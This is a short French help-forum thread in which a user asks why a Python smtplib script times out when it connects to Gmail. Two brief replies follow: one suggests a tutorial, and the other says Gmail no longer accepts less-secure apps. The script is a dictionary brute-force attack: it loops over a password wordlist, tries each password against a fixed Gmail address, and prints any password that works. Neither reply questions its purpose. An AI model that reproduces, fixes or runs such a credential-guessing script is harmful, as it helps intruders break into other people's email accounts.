Erreur pour envoyer un email avec smtplib via gmail

Fermé
Mousse - Modifié le 11 oct. 2022 à 16:28
 Utilisateur anonyme - 11 oct. 2022 à 18:22

Bonjour,

Vous pourriez me dire ce qui ne convient pas dans ce code ?

from distutils.log import error
import smtplib

# Outlook.com
#smtp_s = 'smtp-mail.outlook.com'

# Gmail
smtp_s = 'smtp.gmail.com'
smtp_p = 25
sender = '***@***'
dico   = 'password.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print ('[OK] => ' + sender + ' : ' + password)
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError as e:
            if e[0] == 25:  # Gmail
                print ('[OK] => ' + sender + ' : ' + password)
                print (e)
                exit()
            else:
                print (('try ') + password + ' .... err. ' + str(e[0]) + '   >>>  ' + e[1])

J'ai cette erreur quand je le lance :

TimeoutError: [WinError 10060] Une tentative de connexion a échoué car le parti connecté n’a pas répondu convenablement au-delà d’une certaine durée ou une connexion établie a échoué car l’hôte de connexion n’a pas répondu

Merci


Windows / Opera 91.0.4516.16

A voir également:

1 réponse

mamiemando Messages postés 33446 Date d'inscription jeudi 12 mai 2005 Statut Modérateur Dernière intervention 20 décembre 2024 7 812
11 oct. 2022 à 16:28

Bonjour,

As-tu regardé ce tutoriel ?

Bonne chance

0
Utilisateur anonyme
11 oct. 2022 à 18:22

Bonsoir

ça ne marche plus depuis cet été, les applications moins sécurisées ne sont plus tolérées.

0